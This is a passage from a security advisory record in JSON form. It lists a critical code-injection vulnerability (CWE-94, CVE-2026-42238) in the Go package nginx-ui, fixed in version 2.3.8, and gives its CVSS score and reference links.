    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/nginx-ui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-4pvg-prr3-9cxr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42238"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T17:03:43Z",
    "nvd_published_at" : "2026-05-04T21:16:32Z"
  }
}